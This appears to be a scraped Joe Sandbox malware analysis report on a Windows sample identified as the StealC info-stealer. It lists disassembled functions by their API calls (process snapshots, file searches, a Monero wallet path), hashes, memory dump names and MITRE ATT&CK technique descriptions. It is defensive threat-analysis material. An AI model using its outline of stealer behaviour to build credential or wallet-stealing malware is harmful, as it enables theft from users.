API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: cfa1d92b587163627403cf8ec64f93f625a3d02f2a80e1d108dd698406f19f12
Instruction ID: 52ab1e3828a0ec6521f036753cde8f952add4a37f981ea60b2326ffd79ff2681
Opcode Fuzzy Hash: cfa1d92b587163627403cf8ec64f93f625a3d02f2a80e1d108dd698406f19f12
Instruction Fuzzy Hash: 46313B71A003189FDB14DBD0DD89BEDB7B9FF48301F104559E506AB284DB78AA89CF51

Function 00628680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,006305B7), ref: 006286CA
Process32First.KERNEL32(?,00000128), ref: 006286DE
Process32Next.KERNEL32(?,00000128), ref: 006286F3

Part of subcall function 0062A9B0: lstrlen.KERNEL32(?,01119148,?,\Monero\wallet.keys,00630E17), ref: 0062A9C5
Part of subcall function 0062A9B0: lstrcpy.KERNEL32(00000000), ref: 0062AA04
Part of subcall function 0062A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0062AA12

Part of subcall function 0062A8A0: lstrcpy.KERNEL32(?,00630E17), ref: 0062A905

CloseHandle.KERNEL32(?), ref: 00628761

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 60ff76d51dcbe2f6d9d6cbb0b07ab0a7873768ce4fc237b5ad5f3dc0cd78cc0b
Instruction ID: ac3017a705fb795d3e04005f07cc38d08b98d3ddf436f90eea0517325f579837
Opcode Fuzzy Hash: 60ff76d51dcbe2f6d9d6cbb0b07ab0a7873768ce4fc237b5ad5f3dc0cd78cc0b
Instruction Fuzzy Hash: 93316F71901628ABCB64DF90EC81FEEB779FF48700F10429DE50AA2190DB746A45CFA2

Function 00627980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00630E00,00000000,?), ref: 006279B0
RtlAllocateHeap.NTDLL(00000000), ref: 006279B7
GetLocalTime.KERNEL32(?,?,?,?,?,00630E00,00000000,?), ref: 006279C4
wsprintfA.USER32 ref: 006279F3

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: b50e750bc0748803387a690e81ee5973c59de8881b49559edcc0aa6d3eb7871f
Instruction ID: 8a672f260fe812559f0b816d721fb704966c8a35dc5bec26413b6c01518bcb69
Opcode Fuzzy Hash: b50e750bc0748803387a690e81ee5973c59de8881b49559edcc0aa6d3eb7871f
Instruction Fuzzy Hash: E9112AB2904218ABCB14DFC9DD85BBEB7F8FB4CB12F10421AF605A2280D23D5940CBB1

Function 0062C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0062C74E

Part of subcall function 0062BF9F: __amsg_exit.LIBCMT ref: 0062BFAF

__getptd.LIBCMT ref: 0062C765
__amsg_exit.LIBCMT ref: 0062C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0062C797

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 1240a9ce71714f860901d1662d7fa5348c00783ff8516018ec4db21f9e962c11
Instruction ID: 52713b9fd15224be72f799228553e0b101db82d8534a0bdffd6c0636b41a96b7
Opcode Fuzzy Hash: 1240a9ce71714f860901d1662d7fa5348c00783ff8516018ec4db21f9e962c11
Instruction Fuzzy Hash: DBF09032900E309BD7A1BFB87806B9D33A3AF00730F21514DF505A62D2CB645941EE9E

Function 00624F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00628DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00628E0B

lstrcat.KERNEL32(?,00000000), ref: 00624F7A
lstrcat.KERNEL32(?,00631070), ref: 00624F97
lstrcat.KERNEL32(?,01119278), ref: 00624FAB
lstrcat.KERNEL32(?,00631074), ref: 00624FBD

Part of subcall function 00624910: wsprintfA.USER32 ref: 0062492C
Part of subcall function 00624910: FindFirstFileA.KERNEL32(?,?), ref: 00624943

Part of subcall function 00624910: StrCmpCA.SHLWAPI(?,00630FDC), ref: 00624971
Part of subcall function 00624910: StrCmpCA.SHLWAPI(?,00630FE0), ref: 00624987
Part of subcall function 00624910: FindNextFileA.KERNEL32(000000FF,?), ref: 00624B7D
Part of subcall function 00624910: FindClose.KERNEL32(000000FF), ref: 00624B92

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 8c6ed26ad45f5fb27a400f380ca73c92f75ad990ec395c67c99dbcba4f0aa8bc
Instruction ID: e147056aebf190b86dfbcc911a5f8af5ce331fac71f23d1d3bc91c67e4cb45bd
Opcode Fuzzy Hash: 8c6ed26ad45f5fb27a400f380ca73c92f75ad990ec395c67c99dbcba4f0aa8bc
Instruction Fuzzy Hash: D821CBB69003186BC798F7B0EC86EED333EBB54301F004658B64997181EE7596CC8F96

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00629860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 006145C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00614880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00629C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00616280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00625510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 006217A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00627500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 006269F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00611220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00626AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 006147B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 006251F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON